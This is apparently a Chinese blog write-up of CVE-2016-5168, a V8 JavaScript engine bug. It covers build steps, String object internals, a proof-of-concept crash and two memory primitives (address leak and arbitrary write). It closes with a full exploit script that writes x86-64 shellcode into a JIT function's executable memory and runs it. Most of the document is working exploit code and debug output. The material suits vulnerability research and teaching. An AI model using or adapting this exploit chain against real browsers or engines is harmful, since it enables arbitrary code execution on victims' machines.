CVE-2016-5168

git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync
tools/dev/v8gen.py x64.release

编辑 out.gn/x64.release/args.gn

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
ninja -C out.gn/x64.release d8

前置知识

strings对象结构
var str = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();
DebugPrint: 0x38c55b08a101: [JSValue]
 - map = 0x1de3f6a06981 [FastProperties]
 - prototype = 0x1f93634178c1
 - elements = 0x1fba3602241  [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x1f936342aff9 
 - properties = {
   #length: 0x1fba3656379  (accessor constant)
 }
DebugPrint: 0x38c55b08a121: [JSValue]
 - map = 0x1de3f6a06981 [FastProperties]
 - prototype = 0x1f93634178c1
 - elements = 0x1fba3602241  [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x1f936342aff9 
 - properties = {
   #length: 0x1fba3656379  (accessor constant)
 }
DebugPrint: 0x38c55b08a141: [JSValue]
 - map = 0x1de3f6a06981 [FastProperties]
 - prototype = 0x1f93634178c1
 - elements = 0x1fba3602241  [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x1f936342b061 
 - properties = {
   #length: 0x1fba3656379  (accessor constant)
 }
DebugPrint: 0x38c55b08a161: [JSValue]
 - map = 0x1de3f6a06981 [FastProperties]
 - prototype = 0x1f93634178c1
 - elements = 0x1fba3602241  [FAST_STRING_WRAPPER_ELEMENTS]
 - value = 0x1fba3602251 
 - properties = {
   #length: 0x1fba3656379  (accessor constant)
 }

可以看到虽然str1和str2虽然不是同一个地址,但是他们的value指向的却是同一个地址,即0x1f936342aff9,我们查看一下value地址的结构


分别对应

struct Value {
    Map *map;
    uint32_t hash;
    uint64_t padding;
    uint32_t length;
    char content[length];
}

对于String对象,可以使用[]操作符进行字符串中字符的访问,但是不能进行修改。对于String(null),其value指向的是一个null的对象,其Value结构中,length字段为0x4content字段为0xdeadbeed6c6c756e

charCodeAt() 方法

定义和用法
charCodeAt() 方法可返回指定位置的字符的 Unicode 编码。这个返回值是 0 - 65535 之间的整数。
方法 charCodeAt() 与 charAt() 方法执行的操作相似,只不过前者返回的是位于指定位置的字符的编码,而后者返回的是字符子串。
语法

stringObject.charCodeAt(index)

poc

var a;
function func_a() {
   a = new Date();
}

function func_a_set() {
   a.x = 0x123456;
}

for (var i=0;i<10000;i++) {
   func_a();
}


for (var i=0;i<10000;i++) {
   func_a_set();
}

var str = new String(null);
func_a();
func_a_set();
%DebugPrint(str);
%SystemBreak();


可以看到str对象value那里显示了!!!INVALID MAP!!!

我们可以看到此时的map位置已经被覆盖成了0x123456xxxx所以value的值不能正确显示。这样便造成了溢出的问题,可以控制整个strings(null)对象的结构体。这样就可以进行任意地址读写。

addressOf

我们只需要将content处的值覆盖为我们想要泄露的地址,然后通过charCodeAt便可以泄露出地址

arb_write

我们可以先new出三个不同的对象,保证这三个值为空,这样他们的elementsvalue都指向同一片区域即string(null),然后我们通过第一个对象溢出修改strings(null)对象的content为strings(null)的地址,然后通过第二个对象溢出像content里面写double这样便会像string(null)+0x8的地方即hash处写一个值,然后通过第三个对象向hash写double,这样便会像第二个对象写的值里面写内容,这样便做到了任意地址写

addrof && arb_write poc

var buf = new ArrayBuffer(0x10);
var float = new Float64Array(buf);
var int = new Uint32Array(buf);
function f2i(addr){
    float[0] = addr;
    let tmp = Array.from(int);
    return tmp[0] + tmp[1]*0x100000000;
}
function i2f(addr){
    let tmp = [];
    tmp[0] = parseInt(addr % 0x100000000);//转化为10进制
    tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
    int.set(tmp)
    return float[0];
}
function hex(addr){
    return addr.toString(16);
}
//申请三个对象
var a;
var b;
var c;
function func_a(){
    a = new Date();
}
function func_b(){
    b = new Map();
}
function func_c(){
    c = new Set();
}
function func_a_set(addr){
    a.x = 3.4766863919152113e-308;//原来对象的map值,需保证其完好
    a.y = 0;//hash
    a.z = 0x8;
    a.m = addr;
}
function func_b_set(addr){
    b.x = 3.4766863919152113e-308;
    b.y = 0;//hash
    b.z = 0x8;
    b.m = addr;
}
function func_c_set(addr){
    c.x = 3.4766863919152113e-308;
    c.y = addr;//hash
}
//触发Crankshaft优化使流程走向漏洞点处
for(var i = 0;i<10000;i++){
    func_a();
    func_b();
    func_c();
}
for(var i = 0;i<10000;i++){
    func_a_set({});//需要保证其内容为一个对象的地址,否则会导致后面写入失败
    func_b_set(1.1);//同理因为要写入的是double值,因此需要保证为double
    func_c_set(1.1);//同理因为要写入的是double值,因此需要保证为double
}
var str = new String(null);
//构造两个原语
function addrof(addr){
    func_a();
    func_a_set((addr));
    var returnAddr = 0;
    for(var i = 0;i<0x8;i++){
        returnAddr += (str.charCodeAt(i) * Math.pow(0x100,i));//泄露地址
    }
    return returnAddr - 0x1;
}
function writeAnywhere(addr,content){
    func_a();
    func_a_set(String(null));
    func_b();
    func_b_set(i2f(addr + 0x1));
    func_c();
    func_c_set(i2f(content));
}

构造出两个原语之后便可以通过写jit的rwx段为shellcode,然后调用jit方法便可以进入我们的shellcode

exp
var buf = new ArrayBuffer(0x10);
var float = new Float64Array(buf);
var int = new Uint32Array(buf);
function f2i(addr){
    float[0] = addr;
    let tmp = Array.from(int);
    return tmp[0] + tmp[1]*0x100000000;
}
function i2f(addr){
    let tmp = [];
    tmp[0] = parseInt(addr % 0x100000000);
    tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
    int.set(tmp)
    return float[0];
}
function hex(addr){
    return addr.toString(16);
}
var a;
var b;
var c;
function func_a(){
    a = new Date();
}
function func_b(){
    b = new Map();
}
function func_c(){
    c = new Set();
}
function func_a_set(addr){
    a.x = 3.4766863919152113e-308;
    a.y = 0;//hash
    a.z = 0x8;
    a.m = addr;
}
function func_b_set(addr){
    b.x = 3.4766863919152113e-308;
    b.y = 0;//hash
    b.z = 0x8;
    b.m = addr;
}
function func_c_set(addr){
    c.x = 3.4766863919152113e-308;
    c.y = addr;//hash
}
for(var i = 0;i<10000;i++){
    func_a();
    func_b();
    func_c();
}
for(var i = 0;i<10000;i++){
    func_a_set({});
    func_b_set(1.1);
    func_c_set(1.1);
}
var str = new String(null);
function addrof(addr){
    func_a();
    func_a_set((addr));
    var returnAddr = 0;
    for(var i = 0;i<0x8;i++){
        returnAddr += (str.charCodeAt(i) * Math.pow(0x100,i));
    }
    return returnAddr - 0x1;
}
function writeAnywhere(addr,content){
    func_a();
    func_a_set(String(null));
    func_b();
    func_b_set(i2f(addr + 0x1));
    func_c();
    func_c_set(i2f(content));
}
var obj = new ArrayBuffer(0x233);
print("[+] obj_addr:0x"+hex(addrof(obj)));
var obj_addr = addrof(obj);
var backing_store = obj_addr + 0x18;
print("[+] backing_store = 0x" + hex(backing_store));
var jit = new Function("var a = 0x1234");
var jit_addr = addrof(jit);
print("[+] jit_addr = 0x" + hex(jit_addr));
var obj_dataview = new DataView(obj);
function read_dataview(addr){
    writeAnywhere(backing_store,addr);
    return f2i(obj_dataview.getFloat64(0,true));
}
function write_dataview(addr,payload){
    writeAnywhere(backing_store,addr);
    for(var i = 0;i < payload.length;i++){
        obj_dataview.setUint8(i,payload[i],true);
    }
}
var rwx_addr = read_dataview(jit_addr + 0x38);
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
print("[+] rwx_addr:0x"+hex(rwx_addr));
write_dataview(rwx_addr,shellcode);
jit();
//%DebugPrint(obj);
//%SystemBreak();

你可能感兴趣的:(CVE-2016-5168)